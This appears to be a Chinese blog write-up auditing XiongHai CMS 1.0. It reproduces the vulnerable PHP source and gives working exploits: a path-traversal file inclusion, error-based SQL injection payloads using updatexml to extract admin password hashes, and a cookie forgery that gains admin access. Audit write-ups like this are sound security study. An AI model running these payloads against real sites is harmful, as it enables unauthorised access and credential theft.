熊海CMS_1.0 代碼審計

  熊海是一款小型的內容管理系統,1.0版本是多年前的版本了,因此漏洞仍是比較多的,並且審計起來難度不大,很是適合入門,因此今天我進行這款cms的代碼審計。程序安裝後使用seay源代碼審計系統打開,首先使用自動審計。php

  能夠看到,seay源代碼審計工具仍是審出了很是多的可疑漏洞的,可是這款工具仍是有必定的誤報率的。咱們須要作的就是可疑漏洞的檢查。html

0x01 /index.php 的文件包含mysql

  咱們首先檢查第一個可疑漏洞,打開/index.php文件:sql

 

1 <?php
2 //單一入口模式
3 error_reporting(0); //關閉錯誤顯示
4 $file=addslashes($_GET['r']); //接收文件名
5 $action=$file==''?'index':$file; //判斷爲空或者等於index
6 include('files/'.$action.'.php'); //載入相應文件
7 ?>

 

  在第6行,咱們能夠發現這裏存在一個很是明顯的文件包含漏洞,參數r沒有通過任何過濾直接被include包含。咱們在根目錄下建立phpinfo.php文件,內容爲<?php phpinfo(); ?>,在url裏提交?r=../phpinfo,程序添加.php後綴名後產生了文件包含。數據庫

  /admin/index.php也同理存在文件包含漏洞。瀏覽器

 0x02 /admin/files/login.php SQL注入安全

  後面的這些漏洞暫時不看,對一個網站來講,後臺登錄的安全性需求最高,咱們直接來看登錄頁面的代碼:cookie

 1 <?php 
 2 ob_start();
 3 require '../inc/conn.php';
 4 $login=$_POST['login'];
 5 $user=$_POST['user'];
 6 $password=$_POST['password'];
 7 $checkbox=$_POST['checkbox'];
 8 
 9 if ($login<>""){
10 $query = "SELECT * FROM manage WHERE user='$user'";
11 $result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
12 $users = mysql_fetch_array($result);
13 
14 if (!mysql_num_rows($result)) {  
15 echo "<Script language=JavaScript>alert('抱歉,用戶名或者密碼錯誤。');history.back();</Script>";
16 exit;
17 }else{
18 $passwords=$users['password'];
19 if(md5($password)<>$passwords){
20 echo "<Script language=JavaScript>alert('抱歉,用戶名或者密碼錯誤。');history.back();</Script>";
21 exit;    
22     }
23 //寫入登陸信息並記住30天
24 if ($checkbox==1){
25 setcookie('user',$user,time()+3600*24*30,'/');
26 }else{
27 setcookie('user',$user,0,'/');
28 }
29 echo "<script>this.location='?r=index'</script>";
30 exit;
31 }
32 exit;
33 ob_end_flush();
34 }
35 ?>

  一段賞心悅目的漏洞,若是全部的網站都這樣就不會陷入日站日不動,審計沒思路的尷尬局面了。簡單看了一眼代碼後,企圖直接萬能密碼登錄,登錄的時候發現能夠用錯誤的用戶名和正確的密碼登錄,若是密碼不正確仍是不能登錄。黑盒測試失敗,繼續回來看代碼吧...工具

  首先程序用post方式接收咱們傳遞的參數,而後未經任何過濾進行了用戶名校驗,若是用戶名存在繼續進行密碼校驗。問題出在代碼的第19行,這裏首先將咱們傳遞的password變量進行md5散列,而後拿散列值與數據庫裏面的密碼進行覈對,這也就是咱們不能採用萬能密碼繞過的緣由。不過問題不大這裏的sql注入算是石錘了,咱們能夠經過報錯注入來利用這個漏洞。咱們提交用戶名爲:post

1' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) #

   成功報錯,咱們利用返回的md5值查找對應的密碼,結果是找不到的,仔細查看緣由發現返回的md5值只有27位...因此咱們要進行兩次報錯注入拼接md5值,最終payload:

1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #
1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #

 0x03 後臺的SQL注入

  成功登錄後臺以後咱們再查看後臺的可疑漏洞,根據自動分析的結果,咱們看到了一大堆SQL注入漏洞。一個一個點開看,很是多的變量使用了addslashes進行過濾,這裏也不存在gbk和utf-8的編碼問題,因此也不用考慮寬字節注入,基本肯定屬於誤報。後面第一個真正的漏洞位於/admin/files/editlink.php,源碼以下:

 1 <?php
 2 require '../inc/checklogin.php';
 3 require '../inc/conn.php';
 4 $linklistopen='class="open"';
 5 $id=$_GET['id'];
 6 $query = "SELECT * FROM link WHERE id='$id'";
 7 $resul = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
 8 $link = mysql_fetch_array($resul);
 9 
10 $save=$_POST['save'];
11 $name=$_POST['name'];
12 $url=$_POST['url'];
13 $mail=$_POST['mail'];
14 $jieshao=$_POST['jieshao'];
15 $xs=$_POST['xs'];
16 if ($xs==""){
17 $xs=1;    
18     }
19 
20 if ($save==1){
21     
22 if ($name==""){
23 echo "<script>alert('抱歉,連接名稱不能爲空。');history.back()</script>";
24 exit;
25 }
26 if ($url==""){
27 echo "<script>alert('抱歉,連接地址不能爲空。');history.back()</script>";
28 exit;
29 }
30 
31 $query = "UPDATE link SET 
32 name='$name',
33 url='$url',
34 mail='$mail',
35 jieshao='$jieshao',
36 xs='$xs',
37 date=now()
38 WHERE id='$id'";
39 @mysql_query($query) or die('修改錯誤:'.mysql_error());
40 echo "<script>alert('親愛的,連接已經成功編輯。');location.href='?r=linklist'</script>"; 
41 exit;
42 }
43 ?>

  很是明顯仍是那個老問題,經過post提交變量,中間沒有進行任何過濾直接查詢數據庫,繼續用剛剛的payload吧,漏洞確實存在的,並且後面還有好多處,不挨個寫了。

' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) or '

 

0x04 留言板XSS

  源碼審計系統還報了一處位於/seacmseditor/php/controller.php的XSS漏洞,可是這裏在輸出到瀏覽器的時候被htmlspecialchars轉義成爲了html實體,因此說這又是一個誤報。可是這套CMS還有一個影響比較嚴重的XSS沒有被掃描出,CMS的前臺留言板沒有進行XSS過濾,後臺管理界面也沒有進行過濾,所以產生了存儲型XSS,並且有針對性的攻擊管理員,屬於比較危險的一類XSS了。這裏不貼代碼了。

0x05 垂直越權

  自動審計結果還給出了好幾個/inc目錄下的任意文件讀取,挨個打開閱讀源碼以後並無發現這個漏洞,卻是checklogin.php存在一個垂直越權漏洞:

1 <?php
2 $user=$_COOKIE['user'];
3 if ($user==""){
4 header("Location: ?r=login");
5 exit;    
6 }
7 ?>

  一個判斷管理員的程序,若是COOKIE中user參數爲空,那麼就跳轉到登錄窗。這樣的話越權就很輕鬆了,咱們訪問一個須要管理員權限的頁面,例如http://127.0.0.1/xhcms-1.0/admin/?r=editlink,抓包在COOKIE後面添加user=admin便可實現越權。

  總之這款CMS對新手友好,你們也能夠試着玩一下!

相關文章
相關標籤/搜索